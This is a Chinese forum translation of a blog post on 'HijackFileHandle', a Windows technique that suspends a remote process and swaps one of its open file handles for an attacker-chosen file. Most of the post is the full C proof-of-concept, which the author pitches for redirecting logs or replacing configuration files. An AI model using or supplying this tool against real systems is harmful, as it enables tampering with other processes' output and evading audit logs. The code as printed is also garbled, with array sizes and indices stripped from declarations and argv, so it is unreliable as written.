梦幻的彼岸 发表于 2022-2-10 10:05:10

HijackFileHandle - 在不注入代码的情况下劫持一个远程进程的文件

翻译
原文地址:https://www.x86matthew.com/view_post?id=hijack_file_handle
这篇文章介绍了我前段时间开发的一项技术,它允许在远程进程中操纵文件句柄,而不需要依赖代码注入。

这个方法利用了Windows重新使用句柄索引的事实。当一个句柄被关闭时,在该进程中创建的下一个句柄将重新使用先前的句柄索引。这个事实是众所周知的,所以我相信其他人也会想出类似的想法。

这主要用于将一个日志文件(或任何其他输出文件)重定向到一个不同的位置,但通过一些小的代码修改,它有可能被用来替换目标进程中的一个配置文件。这适用于任何使用持久化文件句柄的软件。

我们可以通过以下步骤来利用这一机制:
1. 创建一个新的输出文件——目标句柄将被重定向到这里。
2. 使用NtSuspendProcess暂停目标进程。
3. 使用NtQuerySystemInformation循环浏览目标进程中的所有句柄。
4. .通过检查ObjectTypeIndex值忽略任何非文件句柄。我已经写了一个函数来计算文件句柄的正确ObjectTypeIndex。
5. 使用NtQueryInformationFile与FileNameInformation在远程进程中找到目标文件句柄,以检索文件路径。这里需要一些技巧来避免死锁。
6. 使用带有DUPLICATE_CLOSE_SOURCE标志的DuplicateHandle关闭远程进程中的目标文件句柄。
7. 使用DuplicateHandle将新的输出文件(来自步骤#1)复制到目标进程中。确认复制的句柄与原始目标句柄相匹配。
8. 使用NtResumeProcess恢复目标进程。

我的概念验证程序采取以下参数:
HijackFileHandle.exe <target_pid> <target_file_name> <new_file_path>
为了演示这个概念,我们将执行ping 8.8.8.8 -t > output.txt来启动一个无法计量的ping,并写入output.txt。

在第二个命令窗口中,我们可以执行以下命令。

HijackFileHandle.exe 1234 output.txt hijacked.txt
(用ping.exe的进程ID替换1234)

这将搜索目标进程中与 "output.txt "相关的任何文件句柄,并以透明方式将它们替换为 "hijacked.txt "的新句柄。

完整代码如下:
#include <stdio.h>
#include <windows.h>

#define SystemExtendedHandleInformation 64
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

#define FileNameInformation 9
#define PROCESS_SUSPEND_RESUME 0x800

struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
    ULONG Object;
    ULONG UniqueProcessId;
    ULONG HandleValue;
    ULONG GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
};

struct SYSTEM_HANDLE_INFORMATION_EX
{
        ULONG NumberOfHandles;
        ULONG Reserved;
        SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX HandleList;
};

struct FILE_NAME_INFORMATION
{
        ULONG FileNameLength;
        WCHAR FileName;
};

struct IO_STATUS_BLOCK
{
        union
        {
                DWORD Status;
                PVOID Pointer;
        };
        DWORD *Information;
};

struct GetFileHandlePathThreadParamStruct
{
        HANDLE hFile;
        char szPath;
};

DWORD (WINAPI *NtQuerySystemInformation)(DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
DWORD (WINAPI *NtQueryInformationFile)(HANDLE FileHandle, void *IoStatusBlock, PVOID FileInformation, ULONG Length, DWORD FileInformationClass);
DWORD (WINAPI *NtSuspendProcess)(HANDLE Process);
DWORD (WINAPI *NtResumeProcess)(HANDLE Process);

SYSTEM_HANDLE_INFORMATION_EX *pGlobal_SystemHandleInfo = NULL;
DWORD dwGlobal_DebugObjectType = 0;

DWORD GetSystemHandleList()
{
        DWORD dwAllocSize = 0;
        DWORD dwStatus = 0;
        DWORD dwLength = 0;
        BYTE *pSystemHandleInfoBuffer = NULL;

        // free previous handle info list (if one exists)
        if(pGlobal_SystemHandleInfo != NULL)
        {
                free(pGlobal_SystemHandleInfo);
        }

        // get system handle list
        dwAllocSize = 0;
        for(;;)
        {
                if(pSystemHandleInfoBuffer != NULL)
                {
                        // free previous inadequately sized buffer
                        free(pSystemHandleInfoBuffer);
                        pSystemHandleInfoBuffer = NULL;
                }

                if(dwAllocSize != 0)
                {
                        // allocate new buffer
                        pSystemHandleInfoBuffer = (BYTE*)malloc(dwAllocSize);
                        if(pSystemHandleInfoBuffer == NULL)
                        {
                                return 1;
                        }
                }

                // get system handle list
                dwStatus = NtQuerySystemInformation(SystemExtendedHandleInformation, (void*)pSystemHandleInfoBuffer, dwAllocSize, &dwLength);
                if(dwStatus == 0)
                {
                        // success
                        break;
                }
                else if(dwStatus == STATUS_INFO_LENGTH_MISMATCH)
                {
                        // not enough space - allocate a larger buffer and try again (also add an extra 1kb to allow for additional handles created between checks)
                        dwAllocSize = (dwLength + 1024);
                }
                else
                {
                        // other error
                        free(pSystemHandleInfoBuffer);
                        return 1;
                }
        }

        // store handle info ptr
        pGlobal_SystemHandleInfo = (SYSTEM_HANDLE_INFORMATION_EX*)pSystemHandleInfoBuffer;

        return 0;
}

DWORD GetFileHandleObjectType(DWORD *pdwFileHandleObjectType)
{
        HANDLE hFile = NULL;
        char szPath;
        DWORD dwFound = 0;
        DWORD dwFileHandleObjectType = 0;

        // get the file path of the current exe
        memset(szPath, 0, sizeof(szPath));
        if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0)
        {
                return 1;
        }

        // open the current exe
        hFile = CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
        if(hFile == INVALID_HANDLE_VALUE)
        {
                return 1;
        }

        // take a snapshot of the system handle list
        if(GetSystemHandleList() != 0)
        {
                return 1;
        }

        // close the temporary file handle
        CloseHandle(hFile);

        // find the temporary file handle in the previous snapshot
        for(DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++)
        {
                // check if the process ID is correct
                if(pGlobal_SystemHandleInfo->HandleList.UniqueProcessId == GetCurrentProcessId())
                {
                        // check if the handle index is correct
                        if(pGlobal_SystemHandleInfo->HandleList.HandleValue == (DWORD)hFile)
                        {
                                // store the file handle object type index
                                dwFileHandleObjectType = pGlobal_SystemHandleInfo->HandleList.ObjectTypeIndex;
                                dwFound = 1;
                                break;
                        }
                }
        }

        // ensure the file handle object type was found
        if(dwFound == 0)
        {
                return 1;
        }

        // store object type
        *pdwFileHandleObjectType = dwFileHandleObjectType;

        return 0;
}

DWORD WINAPI GetFileHandlePathThread(LPVOID lpArg)
{
        BYTE bFileInfoBuffer;
        IO_STATUS_BLOCK IoStatusBlock;
        GetFileHandlePathThreadParamStruct *pGetFileHandlePathThreadParam = NULL;
        FILE_NAME_INFORMATION *pFileNameInfo = NULL;

        // get param
        pGetFileHandlePathThreadParam = (GetFileHandlePathThreadParamStruct*)lpArg;

        // get file path from handle
        memset((void*)&IoStatusBlock, 0, sizeof(IoStatusBlock));
        memset(bFileInfoBuffer, 0, sizeof(bFileInfoBuffer));
        if(NtQueryInformationFile(pGetFileHandlePathThreadParam->hFile, &IoStatusBlock, bFileInfoBuffer, sizeof(bFileInfoBuffer), FileNameInformation) != 0)
        {
                return 1;
        }

        // get FILE_NAME_INFORMATION ptr
        pFileNameInfo = (FILE_NAME_INFORMATION*)bFileInfoBuffer;

        // validate filename length
        if(pFileNameInfo->FileNameLength >= sizeof(pGetFileHandlePathThreadParam->szPath))
        {
                return 1;
        }

        // convert file path to ansi string
        wcstombs(pGetFileHandlePathThreadParam->szPath, pFileNameInfo->FileName, sizeof(pGetFileHandlePathThreadParam->szPath) - 1);

        return 0;
}

DWORD ReplaceFileHandle(HANDLE hTargetProcess, HANDLE hExistingRemoteHandle, HANDLE hReplaceLocalHandle)
{
        HANDLE hClonedFileHandle = NULL;
        HANDLE hRemoteReplacedHandle = NULL;

        // close remote file handle
        if(DuplicateHandle(hTargetProcess, hExistingRemoteHandle, GetCurrentProcess(), &hClonedFileHandle, 0, 0, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS) == 0)
        {
                return 1;
        }

        // close cloned file handle
        CloseHandle(hClonedFileHandle);

        // duplicate local file handle into remote process
        if(DuplicateHandle(GetCurrentProcess(), hReplaceLocalHandle, hTargetProcess, &hRemoteReplacedHandle, 0, 0, DUPLICATE_SAME_ACCESS) == 0)
        {
                return 1;
        }

        // ensure that the new remote handle matches the original value
        if(hRemoteReplacedHandle != hExistingRemoteHandle)
        {
                return 1;
        }

        return 0;
}

DWORD HijackFileHandle(DWORD dwTargetPID, char *pTargetFileName, HANDLE hReplaceLocalHandle)
{
        HANDLE hProcess = NULL;
        HANDLE hClonedFileHandle = NULL;
        DWORD dwFileHandleObjectType = 0;
        DWORD dwThreadExitCode = 0;
        DWORD dwThreadID = 0;
        HANDLE hThread = NULL;
        GetFileHandlePathThreadParamStruct GetFileHandlePathThreadParam;
        char *pLastSlash = NULL;
        DWORD dwHijackCount = 0;

        // calculate the object type index for file handles on this system
        if(GetFileHandleObjectType(&dwFileHandleObjectType) != 0)
        {
                return 1;
        }

        printf("Opening process: %u...\n", dwTargetPID);

        // open target process
        hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME, 0, dwTargetPID);
        if(hProcess == NULL)
        {
                return 1;
        }

        // suspend target process
        if(NtSuspendProcess(hProcess) != 0)
        {
                CloseHandle(hProcess);

                return 1;
        }

        // get system handle list
        if(GetSystemHandleList() != 0)
        {
                NtResumeProcess(hProcess);
                CloseHandle(hProcess);

                return 1;
        }

        for(DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++)
        {
                // ensure this handle is a file handle object
                if(pGlobal_SystemHandleInfo->HandleList.ObjectTypeIndex != dwFileHandleObjectType)
                {
                        continue;
                }

                // ensure this handle is in the target process
                if(pGlobal_SystemHandleInfo->HandleList.UniqueProcessId != dwTargetPID)
                {
                        continue;
                }

                // clone file handle
                if(DuplicateHandle(hProcess, (HANDLE)pGlobal_SystemHandleInfo->HandleList.HandleValue, GetCurrentProcess(), &hClonedFileHandle, 0, 0, DUPLICATE_SAME_ACCESS) == 0)
                {
                        continue;
                }

                // get the file path of the current handle - do this in a new thread to prevent deadlocks
                memset((void*)&GetFileHandlePathThreadParam, 0, sizeof(GetFileHandlePathThreadParam));
                GetFileHandlePathThreadParam.hFile = hClonedFileHandle;
                hThread = CreateThread(NULL, 0, GetFileHandlePathThread, (void*)&GetFileHandlePathThreadParam, 0, &dwThreadID);
                if(hThread == NULL)
                {
                        CloseHandle(hClonedFileHandle);
                        continue;
                }

                // wait for thread to finish (1 second timeout)
                if(WaitForSingleObject(hThread, 1000) != WAIT_OBJECT_0)
                {
                        // time-out - kill thread
                        TerminateThread(hThread, 1);

                        CloseHandle(hThread);
                        CloseHandle(hClonedFileHandle);
                        continue;
                }

                // close cloned file handle
                CloseHandle(hClonedFileHandle);

                // check exit code of temporary thread
                GetExitCodeThread(hThread, &dwThreadExitCode);
                if(dwThreadExitCode != 0)
                {
                        // failed
                        CloseHandle(hThread);
                        continue;
                }

                // close thread handle
                CloseHandle(hThread);

                // get last slash in path
                pLastSlash = strrchr(GetFileHandlePathThreadParam.szPath, '\\');
                if(pLastSlash == NULL)
                {
                        continue;
                }

                // check if this is the target filename
                pLastSlash++;
                if(stricmp(pLastSlash, pTargetFileName) != 0)
                {
                        continue;
                }

                // found matching filename
                printf("Found remote file handle: \"%s\" (Handle ID: 0x%X)\n", GetFileHandlePathThreadParam.szPath, pGlobal_SystemHandleInfo->HandleList.HandleValue);
                dwHijackCount++;

                // replace the remote file handle
                if(ReplaceFileHandle(hProcess, (HANDLE)pGlobal_SystemHandleInfo->HandleList.HandleValue, hReplaceLocalHandle) == 0)
                {
                        // handle replaced successfully
                        printf("Remote file handle hijacked successfully\n\n");
                }
                else
                {
                        // failed to hijack handle
                        printf("Failed to hijack remote file handle\n\n");
                }
        }

        // resume process
        if(NtResumeProcess(hProcess) != 0)
        {
                CloseHandle(hProcess);

                return 1;
        }

        // clean up
        CloseHandle(hProcess);

        // ensure at least one matching file handle was found
        if(dwHijackCount == 0)
        {
                printf("No matching file handles found\n");

                return 1;
        }

        return 0;
}

DWORD GetNtdllFunctions()
{
        // get NtQueryInformationFile ptr
        NtQueryInformationFile = (unsigned long (__stdcall *)(void *,void *,void *,unsigned long,unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationFile");
        if(NtQueryInformationFile == NULL)
        {
                return 1;
        }

        // get NtQuerySystemInformation ptr
        NtQuerySystemInformation = (unsigned long (__stdcall *)(unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
        if(NtQuerySystemInformation == NULL)
        {
                return 1;
        }

        // get NtSuspendProcess ptr
        NtSuspendProcess = (unsigned long (__stdcall *)(void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtSuspendProcess");
        if(NtSuspendProcess == NULL)
        {
                return 1;
        }

        // get NtResumeProcess ptr
        NtResumeProcess = (unsigned long (__stdcall *)(void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtResumeProcess");
        if(NtResumeProcess == NULL)
        {
                return 1;
        }

        return 0;
}

int main(int argc, char *argv[])
{
        DWORD dwPID = 0;
        char *pTargetFileName = NULL;
        char *pNewFilePath = NULL;
        HANDLE hFile = NULL;

        printf("HijackFileHandle - www.x86matthew.com\n\n");

        if(argc != 4)
        {
                printf("%s <target_pid> <target_file_name> <new_file_path>\n\n", argv);
                return 1;
        }

        // get params
        dwPID = atoi(argv);
        pTargetFileName = argv;
        pNewFilePath = argv;

        // get ntdll function ptrs
        if(GetNtdllFunctions() != 0)
        {
                return 1;
        }

        // create new output file
        hFile = CreateFile(pNewFilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL);
        if(hFile == INVALID_HANDLE_VALUE)
        {
                printf("Failed to create file\n");

                return 1;
        }

        // hijack file handle in target process
        if(HijackFileHandle(dwPID, pTargetFileName, hFile) != 0)
        {
                printf("Error\n");

                // error - delete output file
                CloseHandle(hFile);
                DeleteFile(pNewFilePath);

                return 1;
        }

        // close local file handle
        CloseHandle(hFile);

        printf("Finished\n");

        return 0;
}
页: [1]
查看完整版本: HijackFileHandle - 在不注入代码的情况下劫持一个远程进程的文件